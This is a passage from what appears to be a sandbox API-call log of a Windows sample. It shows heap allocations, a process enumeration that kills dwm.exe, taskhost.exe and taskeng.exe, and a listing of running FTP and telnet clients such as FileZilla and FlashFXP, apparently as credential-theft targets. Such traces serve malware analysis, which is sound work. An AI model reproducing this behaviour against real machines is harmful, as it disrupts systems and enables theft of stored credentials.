0x2f17e78 [0145.559] GetProcessHeap () returned 0x2ef0000 [0145.559] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x1a) returned 0x2f117a0 [0145.559] GetProcessHeap () returned 0x2ef0000 [0145.559] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f17e88 [0145.559] GetProcessHeap () returned 0x2ef0000 [0145.559] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x28) returned 0x2f17808 [0145.559] GetProcessHeap () returned 0x2ef0000 [0145.559] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f17e98 [0145.559] GetProcessHeap () returned 0x2ef0000 [0145.559] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x16) returned 0x2f100f8 [0145.560] GetProcessHeap () returned 0x2ef0000 [0145.560] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f17ea8 [0145.560] GetProcessHeap () returned 0x2ef0000 [0145.560] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x1a) returned 0x2f117c8 [0145.560] GetProcessHeap () returned 0x2ef0000 [0145.560] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f17eb8 [0145.560] GetProcessHeap () returned 0x2ef0000 [0145.560] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x12) returned 0x2f10118 [0145.560] GetProcessHeap () returned 0x2ef0000 [0145.560] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f17ec8 [0145.560] GetProcessHeap () returned 0x2ef0000 [0145.560] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x34) returned 0x2f123c8 [0145.560] GetProcessHeap () returned 0x2ef0000 [0145.560] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f17ed8 [0145.560] GetProcessHeap () returned 0x2ef0000 [0145.560] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x1a) returned 0x2f117f0 [0145.560] GetProcessHeap () returned 0x2ef0000 [0145.560] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f17ee8 [0145.560] GetProcessHeap () returned 0x2ef0000 [0145.560] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x1e) returned 0x2f11818 [0145.560] GetProcessHeap () returned 0x2ef0000 [0145.560] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f17ef8 [0145.560] GetProcessHeap () returned 0x2ef0000 [0145.560] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x1a) returned 0x2f181c8 [0145.560] GetProcessHeap () returned 0x2ef0000 [0145.560] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f17f08 [0145.560] GetProcessHeap () returned 0x2ef0000 [0145.560] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x1e) returned 0x2f181f0 [0145.560] GetProcessHeap () returned 0x2ef0000 [0145.560] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f17f18 [0145.560] GetProcessHeap () returned 0x2ef0000 [0145.560] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x1a) returned 0x2f18218 [0145.560] GetProcessHeap () returned 0x2ef0000 [0145.560] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f17f28 [0145.560] GetProcessHeap () returned 0x2ef0000 [0145.560] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x18) returned 0x2f10138 [0145.560] GetProcessHeap () returned 0x2ef0000 [0145.560] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f17f38 [0145.560] GetProcessHeap () returned 0x2ef0000 [0145.560] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x1a) returned 0x2f18240 [0145.561] GetProcessHeap () returned 0x2ef0000 [0145.561] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f17f48 [0145.561] GetProcessHeap () returned 0x2ef0000 [0145.561] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x1c) returned 0x2f18268 [0145.561] GetProcessHeap () returned 0x2ef0000 [0145.561] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f17f58 [0145.561] GetProcessHeap () returned 0x2ef0000 [0145.561] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x1c) returned 0x2f18290 [0145.561] GetProcessHeap () returned 0x2ef0000 [0145.561] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f17f68 [0145.561] GetProcessHeap () returned 0x2ef0000 [0145.561] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x2c) returned 0x2f14ca8 [0145.561] GetProcessHeap () returned 0x2ef0000 [0145.561] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f17f78 [0145.561] GetProcessHeap () returned 0x2ef0000 [0145.561] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x1a) returned 0x2f182b8 [0145.561] GetProcessHeap () returned 0x2ef0000 [0145.561] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f17f88 [0145.561] GetProcessHeap () returned 0x2ef0000 [0145.561] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x1a) returned 0x2f182e0 [0145.561] GetProcessHeap () returned 0x2ef0000 [0145.561] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f17f98 [0145.561] GetProcessHeap () returned 0x2ef0000 [0145.561] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x16) returned 0x2f10158 [0145.561] GetProcessHeap () returned 0x2ef0000 [0145.561] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f17fa8 [0145.561] GetProcessHeap () returned 0x2ef0000 [0145.561] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x1a) returned 0x2f18308 [0145.561] GetProcessHeap () returned 0x2ef0000 [0145.561] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f17fb8 [0145.561] GetProcessHeap () returned 0x2ef0000 [0145.561] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x14) returned 0x2f10178 [0145.561] GetProcessHeap () returned 0x2ef0000 [0145.561] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f17fc8 [0145.561] GetProcessHeap () returned 0x2ef0000 [0145.561] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x1e) returned 0x2f18330 [0145.561] GetProcessHeap () returned 0x2ef0000 [0145.561] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f17fd8 [0145.561] GetProcessHeap () returned 0x2ef0000 [0145.561] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x28) returned 0x2f17838 [0145.562] GetProcessHeap () returned 0x2ef0000 [0145.562] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f17fe8 [0145.562] GetProcessHeap () returned 0x2ef0000 [0145.562] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x18) returned 0x2f10198 [0145.562] GetProcessHeap () returned 0x2ef0000 [0145.562] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f17ff8 [0145.562] GetProcessHeap () returned 0x2ef0000 [0145.562] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x1a) returned 0x2f18358 [0145.562] GetProcessHeap () returned 0x2ef0000 [0145.562] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f18008 [0145.562] GetProcessHeap () returned 0x2ef0000 [0145.562] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x14) returned 0x2f101b8 [0145.562] GetProcessHeap () returned 0x2ef0000 [0145.562] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f18018 [0145.562] GetProcessHeap () returned 0x2ef0000 [0145.562] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x16) returned 0x2f101d8 [0145.562] GetProcessHeap () returned 0x2ef0000 [0145.562] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f18028 [0145.562] GetProcessHeap () returned 0x2ef0000 [0145.562] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x1a) returned 0x2f18380 [0145.562] GetProcessHeap () returned 0x2ef0000 [0145.562] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f18038 [0145.562] GetProcessHeap () returned 0x2ef0000 [0145.562] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x16) returned 0x2f101f8 [0145.562] GetProcessHeap () returned 0x2ef0000 [0145.562] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f18048 [0145.562] GetProcessHeap () returned 0x2ef0000 [0145.562] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x1a) returned 0x2f183a8 [0145.562] GetProcessHeap () returned 0x2ef0000 [0145.562] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f18058 [0145.562] GetProcessHeap () returned 0x2ef0000 [0145.562] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x1a) returned 0x2f183d0 [0145.562] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x120 [0145.572] Process32FirstW (in: hSnapshot=0x120, lppe=0x18f56c | out: lppe=0x18f56c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0145.572] Process32NextW (in: hSnapshot=0x120, lppe=0x18f56c | out: lppe=0x18f56c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x45, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0145.572] Process32NextW (in: hSnapshot=0x120, lppe=0x18f56c | out: lppe=0x18f56c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0145.573] Process32NextW (in: hSnapshot=0x120, lppe=0x18f56c | out: lppe=0x18f56c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0145.573] Process32NextW (in: hSnapshot=0x120, lppe=0x18f56c | out: lppe=0x18f56c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0145.573] Process32NextW (in: hSnapshot=0x120, lppe=0x18f56c | out: lppe=0x18f56c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0145.573] Process32NextW (in: hSnapshot=0x120, lppe=0x18f56c | out: lppe=0x18f56c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0145.573] Process32NextW (in: hSnapshot=0x120, lppe=0x18f56c | out: lppe=0x18f56c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0145.574] Process32NextW (in: hSnapshot=0x120, lppe=0x18f56c | out: lppe=0x18f56c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0145.574] Process32NextW (in: hSnapshot=0x120, lppe=0x18f56c | out: lppe=0x18f56c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0145.574] Process32NextW (in: hSnapshot=0x120, lppe=0x18f56c | out: lppe=0x18f56c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0145.574] Process32NextW (in: hSnapshot=0x120, lppe=0x18f56c | out: lppe=0x18f56c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0145.575] Process32NextW (in: hSnapshot=0x120, lppe=0x18f56c | out: lppe=0x18f56c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0145.575] Process32NextW (in: hSnapshot=0x120, lppe=0x18f56c | out: lppe=0x18f56c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0145.575] Process32NextW (in: hSnapshot=0x120, lppe=0x18f56c | out: lppe=0x18f56c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0145.575] Process32NextW (in: hSnapshot=0x120, lppe=0x18f56c | out: lppe=0x18f56c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0145.576] Process32NextW (in: hSnapshot=0x120, lppe=0x18f56c | out: lppe=0x18f56c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0145.576] Process32NextW (in: hSnapshot=0x120, lppe=0x18f56c | out: lppe=0x18f56c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0145.576] Process32NextW (in: hSnapshot=0x120, lppe=0x18f56c | out: lppe=0x18f56c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0145.576] OpenProcess (dwDesiredAccess=0x1, bInheritHandle=0, dwProcessId=0x444) returned 0xc4 [0145.576] TerminateProcess (hProcess=0xc4, uExitCode=0xffffffff) returned 1 [0145.591] CloseHandle (hObject=0xc4) returned 1 [0145.592] Process32NextW (in: hSnapshot=0x120, lppe=0x18f56c | out: lppe=0x18f56c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0145.592] Process32NextW (in: hSnapshot=0x120, lppe=0x18f56c | out: lppe=0x18f56c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0145.592] Process32NextW (in: hSnapshot=0x120, lppe=0x18f56c | out: lppe=0x18f56c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0145.592] Process32NextW (in: hSnapshot=0x120, lppe=0x18f56c | out: lppe=0x18f56c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0145.593] OpenProcess (dwDesiredAccess=0x1, bInheritHandle=0, dwProcessId=0x4c8) returned 0xc4 [0145.593] TerminateProcess (hProcess=0xc4, uExitCode=0xffffffff) returned 1 [0145.597] CloseHandle (hObject=0xc4) returned 1 [0145.597] Process32NextW (in: hSnapshot=0x120, lppe=0x18f56c | out: lppe=0x18f56c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0145.598] OpenProcess (dwDesiredAccess=0x1, bInheritHandle=0, dwProcessId=0x588) returned 0xc4 [0145.598] TerminateProcess (hProcess=0xc4, uExitCode=0xffffffff) returned 1 [0145.602] CloseHandle (hObject=0xc4) returned 1 [0145.602] Process32NextW (in: hSnapshot=0x120, lppe=0x18f56c | out: lppe=0x18f56c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x67c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="automation-gaps.exe")) returned 1 [0145.602] Process32NextW (in: hSnapshot=0x120, lppe=0x18f56c | out: lppe=0x18f56c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="earnings_roll.exe")) returned 1 [0145.602] Process32NextW (in: hSnapshot=0x120, lppe=0x18f56c | out: lppe=0x18f56c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="macro-scripts.exe")) returned 1 [0145.603] Process32NextW (in: hSnapshot=0x120, lppe=0x18f56c | out: lppe=0x18f56c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scotia_beastality_charlotte.exe")) returned 1 [0145.603] Process32NextW (in: hSnapshot=0x120, lppe=0x18f56c | out: lppe=0x18f56c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bag_academics_bureau.exe")) returned 1 [0145.603] Process32NextW (in: hSnapshot=0x120, lppe=0x18f56c | out: lppe=0x18f56c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x208, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="were-ascii.exe")) returned 1 [0145.603] Process32NextW (in: hSnapshot=0x120, lppe=0x18f56c | out: lppe=0x18f56c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="sing-met.exe")) returned 1 [0145.604] Process32NextW (in: hSnapshot=0x120, lppe=0x18f56c | out: lppe=0x18f56c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="yarn.exe")) returned 1 [0145.604] Process32NextW (in: hSnapshot=0x120, lppe=0x18f56c | out: lppe=0x18f56c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="blacksou.exe")) returned 1 [0145.604] Process32NextW (in: hSnapshot=0x120, lppe=0x18f56c | out: lppe=0x18f56c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x414, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pete raid pretty.exe")) returned 1 [0145.604] Process32NextW (in: hSnapshot=0x120, lppe=0x18f56c | out: lppe=0x18f56c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="laptops-statute.exe")) returned 1 [0145.604] Process32NextW (in: hSnapshot=0x120, lppe=0x18f56c | out: lppe=0x18f56c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="office_wellness.exe")) returned 1 [0145.605] Process32NextW (in: hSnapshot=0x120, lppe=0x18f56c | out: lppe=0x18f56c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="amino_mysimon.exe")) returned 1 [0145.605] Process32NextW (in: hSnapshot=0x120, lppe=0x18f56c | out: lppe=0x18f56c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pole-warrior-partnership.exe")) returned 1 [0145.605] Process32NextW (in: hSnapshot=0x120, lppe=0x18f56c | out: lppe=0x18f56c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="appropriations.exe")) returned 1 [0145.605] Process32NextW (in: hSnapshot=0x120, lppe=0x18f56c | out: lppe=0x18f56c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="cliffglass.exe")) returned 1 [0145.606] Process32NextW (in: hSnapshot=0x120, lppe=0x18f56c | out: lppe=0x18f56c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x31c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="dodge-routine.exe")) returned 1 [0145.606] Process32NextW (in: hSnapshot=0x120, lppe=0x18f56c | out: lppe=0x18f56c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="johns.exe")) returned 1 [0145.606] Process32NextW (in: hSnapshot=0x120, lppe=0x18f56c | out: lppe=0x18f56c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="modular shot.exe")) returned 1 [0145.606] Process32NextW (in: hSnapshot=0x120, lppe=0x18f56c | out: lppe=0x18f56c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mercy.exe")) returned 1 [0145.606] Process32NextW (in: hSnapshot=0x120, lppe=0x18f56c | out: lppe=0x18f56c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0145.607] Process32NextW (in: hSnapshot=0x120, lppe=0x18f56c | out: lppe=0x18f56c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0145.607] Process32NextW (in: hSnapshot=0x120, lppe=0x18f56c | out: lppe=0x18f56c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0145.607] Process32NextW (in: hSnapshot=0x120, lppe=0x18f56c | out: lppe=0x18f56c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x43c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0145.607] Process32NextW (in: hSnapshot=0x120, lppe=0x18f56c | out: lppe=0x18f56c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x70c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0145.608] Process32NextW (in: hSnapshot=0x120, lppe=0x18f56c | out: lppe=0x18f56c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x780, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0145.608] Process32NextW (in: hSnapshot=0x120, lppe=0x18f56c | out: lppe=0x18f56c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x790, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0145.608] Process32NextW (in: hSnapshot=0x120, lppe=0x18f56c | out: lppe=0x18f56c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0145.608] Process32NextW (in: hSnapshot=0x120, lppe=0x18f56c | out: lppe=0x18f56c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0145.609] Process32NextW (in: hSnapshot=0x120, lppe=0x18f56c | out: lppe=0x18f56c*(dwSize=0x22c, cntUsage=0x0, 